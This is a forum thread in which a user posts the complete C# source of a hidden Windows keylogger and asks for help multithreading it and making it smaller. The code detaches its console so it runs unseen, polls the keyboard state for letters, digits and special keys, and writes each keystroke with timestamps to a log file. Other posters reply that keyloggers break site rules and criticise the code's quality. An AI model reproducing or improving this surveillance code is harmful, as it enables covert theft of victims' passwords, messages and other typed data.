Multi-threading a keylogger?

Posts 17 of 7 · Page 1 of 1
Multi-threading a keylogger?
So, I have a simple keylogger using GetAsyncKeyState, and I know nothing about threading. Can someone post here or create a tutorial on how to use threading or something? Msdn fails at explaining things, or I'm just too stupid.
Here's the code for the keylogger:

Code:
    class Program
    {
        [DllImport("user32.dll")]
        static extern Boolean GetAsyncKeyState(System.Windows.Forms.Keys vKey);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern bool FreeConsole();
        static void Main()
        {
            string log = Guid.NewGuid().ToString();
            int counter = 0;
            File.AppendAllText(log, System.DateTime.Now.ToString());
            File.AppendAllText(log, "|| ");
            FreeConsole();
            while (true)
            {
                counter++;
                if (GetAsyncKeyState(Keys.A))
                {
                    File.AppendAllText(log, "A");
                }
                if (GetAsyncKeyState(Keys.B))
                {
                    File.AppendAllText(log, "B");
                }
                if (GetAsyncKeyState(Keys.C))
                {
                    File.AppendAllText(log, "C");
                }
                if (GetAsyncKeyState(Keys.D))
                {
                    File.AppendAllText(log, "D");
                }
                if (GetAsyncKeyState(Keys.E))
                {
                    File.AppendAllText(log, "E");
                }
                if (GetAsyncKeyState(Keys.F))
                {
                    File.AppendAllText(log, "F");
                }
                if (GetAsyncKeyState(Keys.G))
                {
                    File.AppendAllText(log, "G");
                }
                if (GetAsyncKeyState(Keys.H))
                {
                    File.AppendAllText(log, "H");
                }
                if (GetAsyncKeyState(Keys.I))
                {
                    File.AppendAllText(log, "I");
                }
                if (GetAsyncKeyState(Keys.J))
                {
                    File.AppendAllText(log, "J");
                }
                if (GetAsyncKeyState(Keys.K))
                {
                    File.AppendAllText(log, "K");
                }
                if (GetAsyncKeyState(Keys.L))
                {
                    File.AppendAllText(log, "L");
                }
                if (GetAsyncKeyState(Keys.M))
                {
                    File.AppendAllText(log, "M");
                }
                if (GetAsyncKeyState(Keys.N))
                {
                    File.AppendAllText(log, "N");
                }
                if (GetAsyncKeyState(Keys.O))
                {
                    File.AppendAllText(log, "O");
                }
                if (GetAsyncKeyState(Keys.P))
                {
                    File.AppendAllText(log, "P");
                }
                if (GetAsyncKeyState(Keys.Q))
                {
                    File.AppendAllText(log, "Q");
                }
                if (GetAsyncKeyState(Keys.R))
                {
                    File.AppendAllText(log, "R");
                }
                if (GetAsyncKeyState(Keys.S))
                {
                    File.AppendAllText(log, "S");
                }
                if (GetAsyncKeyState(Keys.T))
                {
                    File.AppendAllText(log, "T");
                }
                if (GetAsyncKeyState(Keys.U))
                {
                    File.AppendAllText(log, "U");
                }
                if (GetAsyncKeyState(Keys.V))
                {
                    File.AppendAllText(log, "V");
                }
                if (GetAsyncKeyState(Keys.W))
                {
                    File.AppendAllText(log, "W");
                }
                if (GetAsyncKeyState(Keys.X))
                {
                    File.AppendAllText(log, "X");
                }
                if (GetAsyncKeyState(Keys.Y))
                {
                    File.AppendAllText(log, "Y");
                }
                if (GetAsyncKeyState(Keys.Z))
                {
                    File.AppendAllText(log, "Z");
                }
                if (GetAsyncKeyState(Keys.Add))
                {
                    File.AppendAllText(log, " |ADD| ");
                }
                if (GetAsyncKeyState(Keys.Back))
                {
                    File.AppendAllText(log, " |BACKSPACE| ");
                }
                if (GetAsyncKeyState(Keys.Cancel))
                {
                    File.AppendAllText(log, " |CANCEL| ");
                }
                if (GetAsyncKeyState(Keys.CapsLock))
                {
                    File.AppendAllText(log, " |CAPSLOCK| ");
                }
                if (GetAsyncKeyState(Keys.Clear))
                {
                    File.AppendAllText(log, " |CLEAR| ");
                }
                if (GetAsyncKeyState(Keys.D0))
                {
                    File.AppendAllText(log, " |0| ");
                }
                if (GetAsyncKeyState(Keys.D1))
                {
                    File.AppendAllText(log, " |1| ");
                }
                if (GetAsyncKeyState(Keys.D2))
                {
                    File.AppendAllText(log, " |2| ");
                }
                if (GetAsyncKeyState(Keys.D3))
                {
                    File.AppendAllText(log, " |3| ");
                }
                if (GetAsyncKeyState(Keys.D4))
                {
                    File.AppendAllText(log, " |4| ");
                }
                if (GetAsyncKeyState(Keys.D5))
                {
                    File.AppendAllText(log, " |5| ");
                }
                if (GetAsyncKeyState(Keys.D6))
                {
                    File.AppendAllText(log, " |6| ");
                }
                if (GetAsyncKeyState(Keys.D7))
                {
                    File.AppendAllText(log, " |7| ");
                }
                if (GetAsyncKeyState(Keys.D8))
                {
                    File.AppendAllText(log, " |8| ");
                }
                if (GetAsyncKeyState(Keys.D9))
                {
                    File.AppendAllText(log, " |9| ");
                }
                if (GetAsyncKeyState(Keys.Decimal))
                {
                    File.AppendAllText(log, " |DECIMAL| ");
                }
                if (GetAsyncKeyState(Keys.Delete))
                {
                    File.AppendAllText(log, " |DEL| ");
                }
                if (GetAsyncKeyState(Keys.Divide))
                {
                    File.AppendAllText(log, " |DIVIDE| ");
                }
                if (GetAsyncKeyState(Keys.Down))
                {
                    File.AppendAllText(log, " |ARROWDOWN| ");
                }
                if (GetAsyncKeyState(Keys.End))
                {
                    File.AppendAllText(log, " |END| ");
                }
                if (GetAsyncKeyState(Keys.Enter))
                {
                    File.AppendAllText(log, " |ENTER| ");
                }
                if (GetAsyncKeyState(Keys.Escape))
                {
                    File.AppendAllText(log, " |ESCAPE| ");
                }
                if (GetAsyncKeyState(Keys.F1))
                {
                    File.AppendAllText(log, " |F1| ");
                }
                if (GetAsyncKeyState(Keys.F2))
                {
                    File.AppendAllText(log, " |F2| ");
                }
                if (GetAsyncKeyState(Keys.F3))
                {
                    File.AppendAllText(log, " |F3| ");
                }
                if (GetAsyncKeyState(Keys.F4))
                {
                    File.AppendAllText(log, " |F4| ");
                }
                if (GetAsyncKeyState(Keys.F5))
                {
                    File.AppendAllText(log, " |F5| ");
                }
                if (GetAsyncKeyState(Keys.F6))
                {
                    File.AppendAllText(log, " |F6| ");
                }
                if (GetAsyncKeyState(Keys.F7))
                {
                    File.AppendAllText(log, " |F7| ");
                }
                if (GetAsyncKeyState(Keys.F8))
                {
                    File.AppendAllText(log, " |F8| ");
                }
                if (GetAsyncKeyState(Keys.F9))
                {
                    File.AppendAllText(log, " |F9| ");
                }
                if (GetAsyncKeyState(Keys.F10))
                {
                    File.AppendAllText(log, " |F10| ");
                }
                if (GetAsyncKeyState(Keys.F11))
                {
                    File.AppendAllText(log, " |F11| ");
                }
                if (GetAsyncKeyState(Keys.F12))
                {
                    File.AppendAllText(log, " |F12| ");
                }
                if (GetAsyncKeyState(Keys.Help))
                {
                    File.AppendAllText(log, " |HELP| ");
                }
                if (GetAsyncKeyState(Keys.Home))
                {
                    File.AppendAllText(log, " |HOME| ");
                }
                if (GetAsyncKeyState(Keys.Insert))
                {
                    File.AppendAllText(log, " |INSERT| ");
                }
                if (GetAsyncKeyState(Keys.LaunchMail))
                {
                    File.AppendAllText(log, " |MAIL| ");
                }
                if (GetAsyncKeyState(Keys.Left))
                {
                    File.AppendAllText(log, " |LEFTARROW| ");
                }
                if (GetAsyncKeyState(Keys.LControlKey))
                {
                    File.AppendAllText(log, " |LEFTCTRL| ");
                }
                if (GetAsyncKeyState(Keys.LMenu))
                {
                    File.AppendAllText(log, " |LEFTALT| ");
                }
                if (GetAsyncKeyState(Keys.LShiftKey))
                {
                    File.AppendAllText(log, " |LEFTSHIFT| ");
                }
                if (GetAsyncKeyState(Keys.LWin))
                {
                    File.AppendAllText(log, " |LEFTWIN| ");
                }
                if (GetAsyncKeyState(Keys.MButton))
                {
                    File.AppendAllText(log, " |MidMouse-Scrollwheel| ");
                }
                if (GetAsyncKeyState(Keys.Multiply))
                {
                    File.AppendAllText(log, " |MUL| ");
                }
                if (GetAsyncKeyState(Keys.NumLock))
                {
                    File.AppendAllText(log, " |NUMLOCK| ");
                }
                if (GetAsyncKeyState(Keys.NumPad0))
                {
                    File.AppendAllText(log, " |NUMPAD|0| ");
                }
                if (GetAsyncKeyState(Keys.NumPad1))
                {
                    File.AppendAllText(log, " |NUMPAD|1| ");
                }
                if (GetAsyncKeyState(Keys.NumPad2))
                {
                    File.AppendAllText(log, " |NUMPAD|2| ");
                }
                if (GetAsyncKeyState(Keys.NumPad3))
                {
                    File.AppendAllText(log, " |NUMPAD|3| ");
                }
                if (GetAsyncKeyState(Keys.NumPad4))
                {
                    File.AppendAllText(log, " |NUMPAD|4| ");
                }
                if (GetAsyncKeyState(Keys.NumPad5))
                {
                    File.AppendAllText(log, " |NUMPAD|5| ");
                }
                if (GetAsyncKeyState(Keys.NumPad6))
                {
                    File.AppendAllText(log, " |NUMPAD|6| ");
                }
                if (GetAsyncKeyState(Keys.NumPad7))
                {
                    File.AppendAllText(log, " |NUMPAD|7| ");
                }
                if (GetAsyncKeyState(Keys.NumPad8))
                {
                    File.AppendAllText(log, " |NUMPAD|8| ");
                }
                if (GetAsyncKeyState(Keys.NumPad9))
                {
                    File.AppendAllText(log, " |NUMPAD|9| ");
                }
                if (GetAsyncKeyState(Keys.PageDown))
                {
                    File.AppendAllText(log, " |PAGEDOWN| ");
                }
                if (GetAsyncKeyState(Keys.PageUp))
                {
                    File.AppendAllText(log, " |PAGEUP| ");
                }
                if (GetAsyncKeyState(Keys.Pause))
                {
                    File.AppendAllText(log, " |PAUSE| ");
                }
                if (GetAsyncKeyState(Keys.Play))
                {
                    File.AppendAllText(log, " |PLAY| ");
                }
                if (GetAsyncKeyState(Keys.Print))
                {
                    File.AppendAllText(log, " |PRINT| ");
                }
                if (GetAsyncKeyState(Keys.PrintScreen))
                {
                    File.AppendAllText(log, " |PRINTSCREEN| ");
                }
                if (GetAsyncKeyState(Keys.RControlKey))
                {
                    File.AppendAllText(log, " |RIGHTCTRL| ");
                }
                if (GetAsyncKeyState(Keys.Right))
                {
                    File.AppendAllText(log, " |RIGHTARROW| ");
                }
                if (GetAsyncKeyState(Keys.RMenu))
                {
                    File.AppendAllText(log, " |RIGHTALT| ");
                }
                if (GetAsyncKeyState(Keys.RShiftKey))
                {
                    File.AppendAllText(log, " |RIGHTSHIFT| ");
                }
                if (GetAsyncKeyState(Keys.RWin))
                {
                    File.AppendAllText(log, " |RIGHTWIN| ");
                }
                if (GetAsyncKeyState(Keys.Scroll))
                {
                    File.AppendAllText(log, " |SCROLL-LOCK| ");
                }
                if (GetAsyncKeyState(Keys.Sleep))
                {
                    File.AppendAllText(log, " |SLEEP| ");
                }
                if (GetAsyncKeyState(Keys.Space))
                {
                    File.AppendAllText(log, " |SPACE| ");
                }
                if (GetAsyncKeyState(Keys.Subtract))
                {
                    File.AppendAllText(log, " |SUBTRACT| ");
                }
                if (GetAsyncKeyState(Keys.Tab))
                {
                    File.AppendAllText(log, " |TAB| ");
                }
                if (GetAsyncKeyState(Keys.Up))
                {
                    File.AppendAllText(log, " |UPARROW| ");
                }
                if (counter == 1000)
                {
                    File.AppendAllText(log, " |COUNT1K| ");
                }
                if (counter >= 2000)
                {
                    File.AppendAllText(log, System.DateTime.Now.ToString());
                    File.AppendAllText(log, "|| ");
                    counter = 0;
                }
                else
                {
                    Thread.Sleep(10);
                }
                Thread.Sleep(80);
            }
        }
    }
I just want to be able to reduce the memory it uses, it's filesize, etc. Also, I want to understand multi-threading. So if anyone has a tut or can sum it up in a simple way here, I'd be very happy.
You're not allowed to use/post keyloggers on this site.
I didn't know that. What about the source code though? Text can harm nothing.
Quote Originally Posted by t7ancients View Post
I didn't know that. What about the source code though? Text can harm nothing.
you is bad for not reading rule
Take out the if commands and use switch it will be much better. If you want help add my aim

edgareatis
This is what i call bad code.
Not allowed :fp:
Posts 17 of 7 · Page 1 of 1

Post a Reply

Tags for this Thread

None

Need help?